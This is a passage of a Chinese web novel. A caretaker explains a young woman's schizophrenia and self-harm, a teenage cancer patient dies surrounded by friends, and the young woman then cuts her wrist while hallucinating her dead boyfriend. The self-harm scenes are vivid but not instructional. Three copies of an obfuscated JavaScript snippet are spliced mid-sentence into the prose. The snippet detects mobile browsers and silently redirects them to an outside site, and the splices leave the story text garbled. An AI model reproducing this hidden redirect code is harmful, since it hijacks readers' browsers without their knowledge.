宋殊长长吸了一口气,又慢慢吐出来,“你在小院待这么久应该了解一些,精神分裂症是很难治愈的,所以我才带她从北城来了这里,想着治不好我们也慢慢治,她能平平安安的,怎么都行。” “呼延看起来,还不错。我是说,在今天之前。”吴措补充,“除了,陆离。” “不错吗?”宋殊气声微弱地苦笑了下,“你注意过她每天手上绑着的那个丝带吗?” “白色那个?” “嗯。”宋殊点头,“底下盖着的是疤。” 手腕上的疤。 吴措的心脏猛缩了一下。 “刚开始知道陆离去世那会儿伤的,伤口不深。大概是疼,真真从小怕疼,擦破点皮都得叫唤半天。她划不下去,划了十几下,最后疼昏过去了,才保了一命。” 吴措难以想象宋殊是以什么样的心情向一个外人讲述呼延的病情的。 明媚灿烂的呼延,一刀一刀割向自己手腕的病情。 “从那以后真真就忽然不提了,她再也没提陆离的事。手上的疤结了痂,她拿丝带盖了起来。我以为她真的翻篇了。” 在说到这句话之前,宋殊的表情一直很平静,但在这句话的末尾,她的眼圈突然就红了,嘴巴张开些,似乎有些呼吸不畅。 “再往后没多久,真真开始频繁受伤,磕到碰到,大伤小伤都有。有一回我看到她在自己房间里点烟,以为她迟来的叛逆期到了,没想到她就这么一直捏着那支烟,看着它从烟屁股开始烧起来,就这么看着它烧,一直到火星子不紧不慢地烧到她的手指头,这才轻轻撒开手。” “从始至终,表情一直是笑着的。” 自虐和自毁倾向。 吴措了解过相关案例,某些精神疾病的症状,是通过自毁来达成心理的某种平衡。 所以,呼延的平衡是什么? “我才知道,我们家真真不是翻篇了,她是没过去,过不去了。” 宋殊的眼泪无声无息地淌下来,这些话她和封筝讲过,也和兰姨讲过,她以为自己已经能平静地把这些话说出来了。 但,做不到。 心里疼。 “刚开始也去精神科治了,吃了药,打了针,但病却越来越严重。我找了精神科医生聊,他们告诉我,真真是在从内心深处抗拒康复。” “她是医生,懂康复机理,她是在用生病惩罚自己,她觉得自己应该为陆离的死负责任,她像迷恋受伤一样迷恋这种能看到陆离的幻觉——当然,对她来说,这不是幻觉,只要她不康复,那陆离就还活着。” “所以我带她走了。辞了北城的工作来这里开了小院,我用中药自己给她配药,由着她生病,由着陆离在她心里活着。” 吴措忽然开口:“但她还是不断受伤是么?” 宋殊的话让他想起了呼延给她的那瓶舒痕的药膏,呼延说宋殊每个月都会给她配新的,说明她经常受伤。 那次去千峰山“见”陆离,她也是受伤了。 呼延的症状不止是会幻想见到陆离这么简单,她还是会受伤,不停受伤。 她还是在自毁。 宋殊:“我给她的手机里装了定位软件,确保她去什么地方我都能知道。小院的人、村子里的人也都帮我看着。靠着这些,倒也没出过什么大事。甚至这半年,陆离‘来’的次数越来越少了,我以为真真症状减轻了,没想到……” 没想到会出现今晚的情况。 按照呼延眼中的世界,陆离已经进展到了准备自杀的阶段,也就是说,呼延的自毁进程也推动到了这里。 今晚的车祸,是她带着无意识自杀的倾向发生的。 “吴措。”宋殊忽然又叫到了他的名字,吴措看过去,“你走吧。” “……为什么。”楼道的光暗了很久,吴措的声音被昧光带去了许多力气,“你觉得是我影响了呼延。” “不是。”宋殊说。 宋殊注视着他的眼睛,不知道是不是吴措的错觉,他这一刻第一次发现宋殊和呼延的眼睛有些像。 宋殊的眼睛窄且长,呼延的眼睛又圆又大,可这一刻,两对眼睛在他眼前重合。 透着一股,似乎是怜悯的情绪。 “我没想到你会喜欢上真真。”这双眼睛的主人说,“这不是你应该背负的命运。” “所以走吧,就当替呼延积德,她如果知道自己这样,也不会想再拉一个人下水的。” - 呼延一直到了晌午才醒过来,睁眼第一件事就是找陆离,却没想到第一眼看到的是星星和米玉。 “……这个!真真姐姐喜欢吃草莓味的——真真姐姐你醒啦!” 两人正聊着天,看到呼延醒来,快步走到床前,星星把带的草莓冰淇淋递过去,“看我够意思吧?你这会儿是不是特别想来一口冰淇淋?” 呼延撑着胳膊坐起来,“被你猜中了,馋死我了。睡了一晚上嘴巴都干了,真怀疑这儿的病房是不是装烘干器了。” 呼延拿过冰淇淋咬了一口,冰凉的滋味让她牙跟着酸了一下,但冰爽的刺激感盖住了一切,她又吃了一大口。 “我就知道。”星星冲旁边的米玉一挑眉,“我住院的时候每次醒过来第一个想法就是想吃冰淇淋,就是我妈太小心了,十次能答应我一次就不错了,说什么不要吃冷的、不要吃刺激的……真是的,吃个冰淇淋还能让癌细胞扩散吗?” “呸呸呸!”呼延连忙停嘴打住星星,“这话可不能乱说,快点和我一起呸呸呸。” “……呸呸呸。”星星不情不愿的,“你被老张传染了!好迷信。哦对了,老张让我帮你带句话,说……说什么来着?” “以劫化难,冥冥自有天意,一期一会,再期再会。”米玉把话接过来。 呼延思索了一下,没想明白老张这个谜语人又要表达什么,干脆问出来,“啥意思。” 星星抢话道:“就是让你安心过日子,你爱的人就在你身边呢。” “?是这个意思吗?”呼延觉得星星瞎扯,又看向米玉。 米玉却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661234|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也点了头,“张老师就是这么说的。” “我爱的人……”呼延又思索了一下,好像说得也有道理,陆离不就是在她身边的么。 “替我说声谢谢。”呼延说完又转而一想,“也不用,我明天就出院了,自己和他聊。星星你是不是明天复查?” “对!”星星这回去复查的心情完全不同以往,“这次复查完,以后就隔半年定期去一次就好了。啊我终于解脱了!” 米玉在旁边看着她,嘴角抬了抬。 “那你是不是也得预备一下回学校上课了?”呼延又问。 “对啊,我妈下周一带我回学校报道。昨天发了一堆卷子给我,有这——么厚!天呐我以前怎么会期待上学?”星星仰天长叹道。 “米玉是不是也准备开学了?” 米玉的视线从星星身上收回,点点头,“元宵节后。” “回学校?” 米玉迟疑了一下,“先不。” 也是,没这么快就能克服的,呼延想。 虽然米玉在小院的这一个月,比刚来的时候开朗了不知道多少,但也只是对小院的人而已,出门一起买个菜,还是躲在后面说不出话。 但社恐这事嘛,条件允许的话,不克服也不是什么大问题。 毕竟人就算不社恐,这辈子能交到一两个真心朋友的概率,也并不会高到哪里去。 呼延自己浑身是伤的躺在病床上,还要把所有人的病关心一遍。 “哦对了,还有夜宵!”星星忽然想起来,“在来之前我和米玉去宠物医院看夜宵了,医生说夜宵恢复速度惊人,一晚上那个什么淀粉酶的指标就降到正常指标了。” 呼延惊喜道:“还真是傻猫有傻福。” 她靠着靠枕挪了挪姿势,又开玩笑:“我刚受了伤它就好了,这家伙是拿我替它渡劫呢!” 星星念念道:“人替猫渡劫,人好。猫保佑人虚惊一场,猫也好。” “合着我还是夜宵保佑的啊。”呼延笑着说。 “那——么大一根柱子撞上去,”星星比了个夸张的手势,“副驾驶座位都瘪了,你就受了点皮外伤,肯定是猫猫大神保佑!” 呼延说星星才是小院第一猫奴,星星表示乐意接受这个称号。 几人又聊了一会儿,怕呼延脑震荡后遗症头晕,星星两人离开了病房。 出了医院,米玉用手机软件打车,刚好是打车高峰期,前面排了12个人,两人在医院门口等着。 跑滴滴的私家车一辆一辆过去,星星盯着车的牌子看。 “奥迪A8也跑滴滴啊,以后我也买一辆好车去跑滴滴,这样奥迪A8就能让别人发出保时捷911的感慨。” 米玉说:“我可以借给你跑。” “太好了,也是被我傍上富婆了!”星星粲烂一笑,“不过我还没驾照呢,刚学会就开A8是不是风险太高了。” “我说的是911。”米玉淡淡说。 星星缓缓转过来脸,嘴巴一点一点张大,忽然握住米玉的手:“我愿意嫁给米玉,哪怕是正室!” 米玉笑出来,“好啊。” 排队人数还剩3个的时候,排队进度开始卡顿,半天没有刷新。 米玉百无聊赖地进入软件、退出软件,她的大脑在无聊的操作中再次放空,忽然开口:“呼延姐会康复吗?” 星星正把玩着从地上捡起的树叶,抬了抬头,“老张不是说了么,只要陆离哥哥在,真真姐姐就不会有事的。” 40. 怀念 米玉和向晚星离开后,呼延才想起忘记问这俩有没有拍张夜宵的照片了。 不过她也没着急去要,想着等吴措来的时候,让他直接去医院帮忙拍个视频,顺便问问医生夜宵什么时候能出院。 但一直等到宋殊给呼延办理完出院,她还是连吴措的影子都没看到。 呼延问宋殊:“吴措回小院了吗?太不讲义气了,本小姐出院这么大的事竟然不来接一下。” 宋殊收拾着衣服行李,随口说:“吴措走了。” “走哪。” “不清楚。” 隔了几秒,呼延意识到不对,“走了?” 回去的路上,她给吴措发了几条微信,都没得到回复,电话打过去,显示“不在服务区”。 呼延的情绪从疑惑变为生气,她平生最讨厌的就是不打招呼就走的人,好歹也一起共事半年了,不说平时关系如何,大小也算是个朋友,说走就走算怎么回事。 回到小院,呼延气哼哼往吴措房间走,路上遇到八哥,她问:“你知道吴措为什么走吗?” 八哥嘴巴张开,又闭上了,摇摇头,“不知道。” “靠,竟然连你都不说,真是看错他了。” 呼延骂了句,朝楼上走过去。 不远处,封筝收回朝八哥使的眼色,两人对视一眼,同时叹了口气。 吴措房间的门没关,半敞开着,呼延站在门口看到里面空荡荡的房间,终于接受了吴措是真走了的事实。 “我就知道。”她在门口嘟囔了一声,“大少爷。” 转身准备走的时候,呼延余光中瞥到吴措桌上似乎放着个什么东西,她站在门口犹豫了半秒,抬脚走了进去。 她走到桌前时,看清了桌上东西的全貌,是一张明信片。 一张草原风景的明信片。 看起来很眼熟,似乎在哪里见过。 呼延伸手拿起明信片,透明封袋的质感陈旧,她的手指在上面摩挲了一下,抬起一侧,准备看看另一面。 “噔”一声,手机传来微信消息提示音。 呼延放下明信片,点开微信。 是吴措的消息:抱歉,在飞机上,没看到。 她刚要打字回复,吴措的电话打了过来。 “你去哪了?”呼延问他。 “找一个朋友。”吴措说。 “找朋友?”呼延的质询停住,行吧,也说得过去,她总不能强势到让吴措不能交别的朋友吧。 不过她心里还是多少有些不舒服,“你知道我今天出院吗?” “知道。” “那你还——” “飞机晚点了,”吴措说,“本来以为能赶上去接你的。” 呼延又被这个回答弄得没脾气了,“行吧。又是什么重要的朋友,让你这个时间专门打飞的去找?” 吴措:“重要的朋友。” “切,不想说就算了。”呼延说,“你去见朋友就见朋友,行李干嘛收拾了,不过你行李确实也就那几件衣服。宋医生还骗我说你走了呢,就知道哄我……” “我确实,”吴措声音停顿了下,“要走了。” 呼延沉默了几秒,又说:“哦,也行吧。反正你也是志愿者嘛,都在这待了半年了,已经很久了。但我还是要说,你这样一声不吭就走,太不礼貌了!” 吴措的那边传来机场大厅播报声,他正在从机场向外走着,“对不起。” “你就——诶?”呼延一下子还没反应过来吴措这突如其来的认错,“也没什么大事,知错就改善莫大焉~” “那,再给一次机会?” “什么?” “道歉的机会。”吴措说,“不是怪我不告而别么。” 吴措约了和呼延在刘姐饭馆见,呼延不知道为什么吴措不让她告诉宋殊,她猜测大概是觉得自己冷不丁忽然辞职有点愧对宋殊?也只有这么一种解释了。 算了算时间,吴措也差不多在路上了,呼延准备往饭馆出发。 呼延刚回小院就往外跑,还是引起了宋殊的注意,她问呼延干嘛去,呼延面不改色说要去帮刘姐种的花浇水。 幸好有这张口就来的本事,不过出了门以后呼延还是无端产生了一种上学时候偷偷从家里跑出来见男同学的感觉。 也真是奇怪,见吴措而已,有什么好激动的。 呼延有刘姐饭馆的钥匙,是当时刘敏秀交给她的。说自己就这么些家底,呼延如果有需要的就直接拿,反正等她出来的时候,什么也都没法用了。 呼延当然没拿她什么东西,只是时不时过去浇浇放在窗台上的两盆多肉,所以她对宋殊也算不上扯谎。 呼延进门接了水,给“吉娃娃”浇完,准备给“红宝石”浇的时候,吴措就到了。 呼延听到动静吓了一跳,“你飞来的?怎么这么快。” “又不远。”吴措说,他探身看了眼呼延浇着的多肉,“这花还挺耐活的。” “那当然。”呼延给自己贴金,“也不看是谁浇出来的。” “真厉害。”吴措说。 呼延倒觉得不对劲了,她微眯眼瞧着吴措:“又是利索道歉,又是小嘴抹蜜的,你今天有种人之将死其言也善的美感。” “谢谢你的诅咒。” “小事,需要我随时说。”呼延摆摆手。 两人找了个桌位坐下,好巧不巧,正是当初两人第一次来的那桌。 一些画面在吴措脑海里回溯。 那个“视频电话”,是陆离打来的吧。 呼延向王贲的主动挑衅,是不是也是自毁的一种,因为她会主动把自己置于危险的境地中…… “准备去哪啊。”呼延将放在桌面上的手机转了转。 不吃饭,就干聊,呼延这会儿竟然觉得有些尴尬,动作都不自然起来。 “回北城。”吴措说。 呼延点点头,“对哦,你以前的工作就在北城对吧。” “嗯。” “那就祝你前程似锦。”呼延手指头屈起,虚做了个敬酒的姿势。 吴措抬眼,叹了口气,和她“碰杯”。 呼延乐了,“你今天真的好配合啊,是不是我说什么你都会答应。” “你想说什么。” “我想想啊。”呼延抬眼转了两圈,“要不你学个狗叫吧。” 吴措:“……” “哈哈哈你不是说什么都答应么。”呼延笑起来。 吴措:“哈哈哈你不是说什么都答应么。” 呼延愣了一下,笑在嘴边僵住。 “……你骂我是吧。” 吴措:“你骂我是吧。” 呼延恼羞成怒,指着吴措道:“你再学一句试试?” “你——”吴措的话只吐出一个字,他扯了扯嘴角,刹车转弯,“不说了。” 呼延被气得咬牙切齿,恨不得抓过吴措的衣领揍一顿,但想着想着这个画面,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680420|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了出来。 “这样挺好。”呼延往后一躺,靠在椅背上说,“这样才对味嘛。不然我以后回忆起来你,就会是你今天伪装出来的人模狗样。现在就好了,还是贱嗖嗖的样子,你的本性。” 吴措没反驳她,他想多听呼延说几句话,哪怕是骂他的也好。 她和陆离说话的时候,会是什么样子? 几个小时前,他在陆离坟前站了半个小时,却一句话也没有说出口。 陆离的坟前长了很深的杂草,荒芜的呈现出许久未被人打理过的样子。 在长平路88号的时候,陆离和吴措聊过他的过往。陆离是他们村第一个硕士,毕业后第一份工作光是签约金就有15万,在当时是很值得炫耀的履历,确实也被他父母大张旗鼓宣扬了一番。 后来陆离辞职选择当摄影师,他的父亲就说要和他断绝关系,他母亲在电话里劝了很久,最终说打八十万过去他们就当没这个儿子。 陆离确诊抑郁症后,怕自己撑不下去,住院前提前交代了后事。他母亲根本不理解抑郁症这种病究竟有多大威力,父亲听到后直接破口大骂,说是他自己作出来的病。 陆离说,如果有天他真的死了,大概他的父母会把他当成耻辱,会避嫌得抹掉他生前的所有存在感。 被立刻销掉的号码,无人问津的坟,证实了他的猜测。 这个世界上没有人再怀念他。 唯一深爱他的人,她选择了忘记。 而吴措能做什么呢? 他就是什么都做不了,所以才会答应宋殊离开。 担负谁的命运这种理由在他这里是不成立的,他无法面对的,是现在的呼延。 “对了,你昨天上午是不是还没走?”呼延想起什么,忽然开口。 “嗯,下午走的。” “还真是。”呼延摸着下巴做了个‘果然如此’的动作,“陆离说他在医院看到你了,我问他怎么知道是你,你俩又没见过,他说在走廊碰到了,你还记得吗?” 吴措怔了片刻,点头,“嗯,碰到了。” “我男朋友帅吧?”呼延冲他扬眉。 “嗯。” “算你有眼光,”呼延得意道,又和他开玩笑道:“不过输给陆离你也无需自卑,好好努力,未来会有你的大好蓝天!” 吴措想配合着笑两声,说两句调侃的话,却也提不出什么力气,只低头用手指捏着桌角,用力压了两下。 他到这一刻,才真正应允了那句“你这辈子都比不上陆离”。 他当然是比不上的,没有人能胜过一个死去的人。 可悲的是,下辈子也不行。 他甚至没有预定她来世的资格。 如果呼延的人生尚有几个轮回,她在来生,以及来生的来生,想要遇见的人也不会是他。 他只是她璀璨人生的过客,是她轰轰烈烈的见证者,是与她没有任何牵绊的,比路人更近一点点的,朋友。 “对了,你桌上落了个东西。”呼延从口袋里拿出那张明信片,“这么点行李都能收拾落东西,行不行啊你。” 吴措抬眼看着她,呼延一拧眉,“这么看着我干嘛?我没拆开看,我才没有窥探你隐私的癖好呢。” 吴措接过明信片,手指紧紧捏着两侧,直到明信片被他捏出两道折痕。 “那就不留你啦,你的人生肯定比我精彩得多,”呼延向他伸出手,“吴措,万事顺意,想做什么就去做什么吧!” 41. 幻觉 从刘姐饭馆离开后,呼延没直接回小院,她独自溜达着去了渡口。 当时吴措出主意建的那座渡口,花了半个月的时间落成,如今已经成了桃源村一大打卡地点,给村子招揽了不少游客。 元宵节前还没出新年,游客不多,渡口只有一面随风飘着的红旗还在站岗,套在桅杆上呼啦啦前后左右乱摆姿势。 呼延走过去,顺手扯了下红旗的布,风带着一股强力的劲和她拉扯。 呼延扯了一会儿,松开了手。 她有时候挺羡慕吴措的,天南地北纵横四野,似乎全世界都没有他在乎的、能让他停下的东西。 或者说,他在乎的,就是像风一样在四野狂奔。 可惜她从小就没什么大的志向,如果说能称得上呼延理想的,就是能守住宋殊的小院,然后在小院里等陆离回家。 这样也不错。 小时候宋殊就告诉她,理想是不分大小的。 就算她的志向是养着院子里的那辆棵桃树开花,也算是一种理想。 渡口的风吹得呼延后脑勺发凉,她终于折身准备回家,这时手机响了起来。是宋殊的电话。 “……喂。”呼延下意识有点心虚,她以为宋殊知道她出来见吴措了。 “呼延真,现在回家。” 呼延心里猛颤了一下,宋殊又叫了她全名。 “怎么了。” “星星情况不好,去见一面吧。” …… 呼延出院回小院的时候,向晚星已经被她爸妈接走去了医院。 为了表达对没能在小院给呼延接风的愧疚,向晚星路上给呼延打了个视频,说要送给她一副新画。 “我最近和米玉一起学的,一种新的流派画。” “什么流派?”呼延问她。 “保密!”向晚星神神秘秘的,“你不是下个月生日么,到时候我画了给你当生日礼物。” 呼延侃她:“我没记错的话,你的新画不是为了给我接风的么,怎么又成了生日礼物了?” “那流派我还不怎么熟练,一下子画不出来,不过你要是想要,等我熟练了等你多画几幅。” “那我可就等着了。” 车里晃荡,呼延怕星星电话打久了头晕,说先挂电话,等她回来再聊。 她没想到,“等你回来”成了一个可能完成不了的约定。 呼延一众人赶到医院的时候,向晚星已经换了病床,准备推到手术室了。 这次原本是十分常规的检查,按照之前的几次检查结果来看,癌细胞已经稳定控制住,症状渐好,后续基本隔半年定期复查就可以。 但就是这次的检查中,发现了癌细胞转移形成了癌栓,必须立刻安排开胸手术清除病灶。 可因为已经到了晚期,成功率只有百分之三十。 向晚星听着医生的安排换了床,床边她的妈妈一直在捂着嘴巴不停地哭,向晚星躺在病床上,伸手拉了下她妈妈的胳膊,“妈,别哭啦,又不是第一次手术,笑一下好吗?吉利。” 向妈妈别过头去,眼泪顺着颤抖的手淌下来,靠在向爸爸的肩膀上仍然是流泪不停。 向晚星叹了口气,“哭得太早啦妈,现在还不是时候呢。” 她说着一偏头,看到了门口的呼延。 “真真姐姐。”向晚星的声音大了一些,身体忍受不住跟着剧烈咳嗽起来。 呼延真快步走过去,向晚星拉住她的手,嘴角扯了一下,“这下成了你来送我了。” 呼延眼圈泛红,她逼着自己千万不能这时候掉下眼泪。 “别哭,真真姐姐,不会有事的,我还欠你一幅画呢。” 再没能忍住眼泪,呼延带着哽咽的哭腔点头,“不会有事的,我们星星吉人自有天相。” “对嘛,那我先进去咯,等会儿见。小杨阿姨,麻烦你们推我进去啦。”向晚星冲旁边的护士道。 手术进行了三个半小时,所有人在手术室外屏息等着。 在医院的走廊里,无声地响起此起彼伏的祈祷。 祷告词显得无力,如果可以的话,有些人宁愿交出自己生命的一部分,来置换一个想要的好消息。 手术室灯灭,大门被推开,医生从手术室走出。 这个动作医生在他的职业生涯里只做过五次,每次无一例外的,迎来的都是一阵歇斯底里的哭声。 但他终究还是要把这个动作完成,医生在心底长叹了口气,冲着迎上来的一大波人,摇了摇头。 “抱歉。” 向晚星母亲的哭声从走廊的一头穿到另一头,呼延咬着自己食指让自己没有哭出声,她知道这会儿星星的麻药应该已经逐渐褪去,她能听见声音的。 这场手术并不是结束,紧随其后的,是一系列放射治疗和化学治疗,为了让那个已知的结果来得再晚些。 向晚星的头发开始大片脱落,她剪去了自己的长发,戴上了一顶毛线帽子。 帽子的下沿沾了一圈假发,看起来就像是她自己的头发一样。 在没人的时候,向晚星偷偷摘下帽子,对着镜子看着里面陌生的自己。 当初以为晚期会眼盲,所以她给自己准备了一系列适应盲眼的措施,却没想到她根本来不及等待眼盲这一步。 “还不如直接瞎了呢,就看不到这幅丑样子了。” 向晚星嘟囔着,病房的门打开了,进来的人是米玉。 米玉新学期开学后没有离开,她照旧申请了线上课程,白天在医院陪星星,晚上回小院睡觉,因为病房里唯一的陪床位给了向晚星的妈妈。 最近几天米玉在医院附近租了个房子,所以每天来得很早。 见米玉进来,向晚星急忙把帽子戴上,抬脸和她打招呼,“你今天好早啊米玉。” “给你带了冰淇淋,白桃味的是么?” 向晚星张嘴笑起来,“知我者,米玉也。” 她接过米玉带来的冰淇淋,大口朵颐。 米玉坐在她床边的凳子上,把包放在一旁,忽然摘下了自己的帽子。 向晚星吃冰淇淋的动作顿住,她愣愣地看向米玉的头。 “你……” “闺蜜发型,不是早就说好要一起剪的么。”米玉摸了摸自己剃掉的光头,说。 冰淇淋在手边融化,顺着手指滴落在床单上,下一秒被一滴眼泪覆盖,洇成一圈边缘不平整的粉白色。 这是向晚星在得知自己手术失败后第一次哭,她人生的这十几年,似乎每天的呼吸、每次心脏的跳动,都是为了等待那个消息。 好消息对她来说是惊喜,坏消息才是平常。 她以为自己已经能平静地度过自己人生的最后一段日子了。 向晚星吧嗒掉了两行眼泪,瘪了瘪嘴,“你干嘛呀……” 米玉抬手擦掉她的眼泪,“早就觉得头发碍事了,刚才洗脸的时候,洗面奶直接洗了头,别说,还挺爽的。” 向晚星破涕为笑,鼻涕喷出个泡出来,“米玉,你怎么这么好。你以后有了新的朋友也不能忘了我,别对其他人像对我这么好,我会吃醋的。” “我不会有其他朋友的。”米玉看着她。 “那也不行,你必须要有其他朋友,但我要是你心里天下第一最最好的那个。”向晚星像是在布置任务一样。 “你每年要交一个朋友,当你交到第三个的时候,我允许你选他们其中的一个成为最好的朋友,但我这时候要排在第二,不能更低了!” 米玉用纸巾擦干床单上星星滴落的冰淇淋,她很认真地看着向晚星,说:“你永远是第一。” 向晚星躺回去,她的胸腔撕扯着癌症晚期的疼痛,每一阵都锥心刺骨,可嘴角的笑却一直没下去。 “我知道,我刚才是在假装大方。我肯定是第一,嘻嘻,没有人能打赢我。” 后来的几天,向晚星让米玉给她把画纸拿了回来。 她给小院的每个人画了一幅画,最后一副是给吴措的。 “不知道吴措哥还会不会回来,先交给你保管吧。”星星把画交给了呼延。 呼延接过画,上面的笔触已经比当时星星给她画的那副凌乱了许多,癌细胞侵染视觉区域,星星这会儿的视力已经下降到只能看到模糊光影的程度了。 她当初的蒙眼训练起到了很大的作用,这让她即使看不清,仍然画出了每个人的轮廓和神采。 她低头平静片刻,抬起头来看着向晚星,“等你回小院,我们一起办个画展,请整个桃源村的人过来看。” 向晚星的笑已经很费力了,单单是呼吸就已经带走了她很大的力气,她仍旧挤出了一个笑脸,“好啊。” 病房里的仪器发出稳定的滴滴声,一下,两下,三下……似乎一切都平稳如常。 “真真姐姐,我感觉,就是今天了。”向晚星的脑袋无力地倚在枕头上,她嘴角抬着,眼角落下一滴眼泪。 呼延摇头,声音哽咽,“不会的,我们还没办画展呢……” “真真姐姐,能帮我,把大家叫来吗?我想最后,拍一张合影,和大家一起。”向晚星的声音断断续续。 呼延电话叫来了所有能来的人,没叫吴措,她不知道他现在在哪里,她觉得现在并不是一个打扰他的好时机。 病房挤了十几个人,落地自拍杆在前方架着,向晚星被围在中间,她让米玉帮她摆了个比“耶”的姿势。 “大家,记得笑哦,这是,我们的,最后一张,合影,了。” “——咔嚓” 谁都没有去看那张照片拍得怎么样,因为向晚星的呼吸忽然急促起来,她喘着极大的粗气,像是干渴许久的肺部在猛烈地吸纳周围的空气。 “医生,医生!” 向晚星忽然抓住慌急叫着医生的呼延的手,咧嘴笑出来,“嘿嘿,被我骗到了。” 没有人跟着她笑出来。 向晚星噘了下嘴,“大家都好没有幽默感啊。” “爸妈,我现在允许你们,要二胎了,过几天处理好我的事,可以,提上行程了。” 向晚星一一向到来的人告了别。 “我虽然,□□走了,但我的精神,与大家同在。”向晚星虚弱地说,她缓慢地眨了两次眼睛,偏偏头看向呼延。 目光相接的一刹那,呼延的眼泪一串串地从脸上滑落,模糊了她的表情,连嘴唇都因抽泣而止不住地颤抖,向晚星的手触到呼延发抖的身体,她轻吐了口气。 “真真姐姐,别哭了。我们玩捉迷藏,我闭上眼睛,数123,你们藏好。”向晚星用着最后的气声囔囔,“1——2……” “星星!” 再也没有了回应。 呼延颤抖的手附在向晚星的眼皮上方,帮她阖上眼睛,说:“3。” - 星星的遗体被接回了老家,葬礼也是在那里办的,几乎整个小院能自由出行的人都参加了星星的葬礼。 回来后,呼延准备组织一场画展,展览星星所有在小院里送出的画。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694318|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她独自坐在房间里,整理从每个人手里收来的画。 大概有五十几张,很大一部分是铅笔素描,星星在最后的阶段集中画的,其中有三张都是星星送给呼延的。 一张是星星刚来小院没多久的时候,她说自己会画画,想找个模特配合她,但当时没人有空理她,呼延这个全院第一大闲人首当其冲被拉去做了三个小时的模特。 是一幅风格还没搭建好的油画,知道要画几个小时后,呼延起了偷懒的念头,借口说让星星来幅经典的泰坦尼克号萝丝油画,直接躺在躺椅上睡着了。 结果三小时后起来,发现自己被星星画成了扭曲版的贵妃醉卧。 还有一张是去年大家一起去千云峰的时候,星星用水彩写生,本来画的是风景,不知道怎么就让她入画了。 她躺在那片倾斜的草坪上闭目养神,吴措坐在她旁边低头看着她。 呼延看到这个画面的时候,拿着画去质问吴措这个姿势动作,是不是想暗杀她。 吴措说是的,他在想怎么把其他人支开,把她推下去。 后来吴措和她争夺这幅画的所属权,两人比赛打羽毛球,最后呼延以1:9的差距输给了吴措。 然后呼延耍赖皮说‘安慰奖,谁输了谁拿走’,硬是抢走了这幅画。 再然后,就是最后的这幅。 一张呼延的正脸素描。 这时候星星的视力还几乎没有受到影响,画中的每根线条都很清晰利落,甚至贴心地刻画了呼延笑起来时脸中央挤出来的小坑。 这幅素描被放在了画框里保存着,当时米玉买的画框。 为了展览,呼延把画从画框里拿出来,准备挂到展览区的时候,呼延注意到画的另一面似乎有笔触的痕迹,她把画翻过来,才发现反面写了几行小字。 “真真姐姐,我知道你也生病了,只是你的病和我的病不太一样。” “我问过老张,他说他看到了陆离哥哥,就在你身边。” “念念不忘的人,不会离开。” “我不知道要祝福你早日康复,还是不要康复。” “但真真姐姐,你一定要平平安安的,因为陆离哥哥一直在陪着你。” 看到此处,呼延思绪怔忪在原地,她的手捏着画纸的两侧,双眼呆滞失神,大脑被一团黑气贯穿冲撞。 我生病了……陆离…… 陆离…… 她抬眼,看向坐在她对面,正低头整理剩余画作的陆离。 “陆离?” “怎么了。”陆离抬头与她对视,温和的笑眼看着她。 “你是假的吗?” 陆离始终微笑看着她,他的很窄很窄的双眼皮隐没于笑眼中,“你觉得我是假的吗?” 他怎么会是假的。 门外传来沙沙的响声、爪子摩擦门框的声音、猫的叫声…… 呼延听不到,她的心口被浑浊的污水堵住,有一千只蚂蚁在向外爬。大脑被越来越小的玻璃罩笼罩住,她伸手想要揭开,却怎么也够不到。 源源不断的水涌入玻璃罩内,呼延感觉自己快被溺死了,她的指甲狠狠掐向自己的掌心,青筋凸起,疼痛感缓解了一部分窒息感。 她迫不及待地想要寻求更多的痛感…… “陆离——” ……封筝是第一个听到夜宵的抓门声和嘶叫声后赶过来的,她没有带钥匙,喊来八哥撞开了呼延房间的门。 入眼的便是躺在一片血泊中的呼延。 “快!去楼下拿止血绷带!” 呼延的身边散布着七零八落的画纸,许多都被染上了血迹,其中一副染得最深,那张画上画的是呼延的素描,边缘处已经濡湿卷曲。 这张纸,以及另外几张纸,成为了呼延割腕的工具。 是无意识的,呼延并不知道自己在做什么,她拿起那些纸张在自己的腕间反复切割的时候,已经失去了基本的意识。 一张纸软掉就换一张,另一张软掉再换一张,一直到最后,一张张画纸吸掉了她许多的血液,她因为失血过多昏了过去。 呼延在昏迷中听到了一些模糊的声音。 “不能再这样了,院长你要接受这个事实。” “她要得到专业的治疗,这样下去对呼延来说太危险了。” 她的大脑无法解构、组织这些词语,呼延迷茫地沉溺在一片混沌中,她做了一个很长很长的梦。 梦里她骑着小矮马在那片辽阔的草原上奔跑着,春风肆意,马啼尽欢。 陆离骑着一匹黑色的马追上来,他们在一望无际的草地上跑啊,跑啊…… 